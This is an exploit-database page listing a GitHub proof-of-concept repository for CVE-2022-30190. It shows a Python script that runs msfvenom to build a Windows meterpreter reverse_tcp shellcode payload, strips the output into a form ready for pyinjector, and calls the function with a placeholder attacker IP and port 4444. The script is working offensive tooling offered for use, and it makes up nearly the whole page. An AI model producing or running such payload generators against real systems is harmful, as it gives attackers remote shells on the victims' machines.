Exploit database

GH-7c57305b2f01a09bfbc3609182461c6f

jump-wang-111/amzword

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2022-30190

60 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files11
jump-wang-111/amzwordRevision efc8317308db

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

gdog/shellcode_generate.py

Python · 954 bytes
# quick script that generates the proper format for the shellcode to feed into pyinjector
# generates powershell payload  from @trustedsec pyinjector
import subprocess,re
def generate_powershell_shellcode(payload,ipaddr,port):
    # grab the metasploit path
    msf_path = "/usr/local/share/metasploit-framework/"
    # generate payload
    proc = subprocess.Popen("%smsfvenom -p %s LHOST=%s LPORT=%s -a x86  --platform Windows EXITFUNC=thread -f python" % (msf_path,payload,ipaddr,port), stdout=subprocess.PIPE, shell=True)
    data = proc.communicate()[0]
    # start to format this a bit to get it ready
    data = data.replace(";", "")
    data = data.replace(" ", "")
    data = data.replace("+", "")
    data = data.replace('"', "")
    data = data.replace("\n", "")
    data = data.replace("buf=", "")
    data = data.rstrip()
    # base counter
    print data


generate_powershell_shellcode("windows/meterpreter/reverse_tcp", "x.x.x.x", "4444")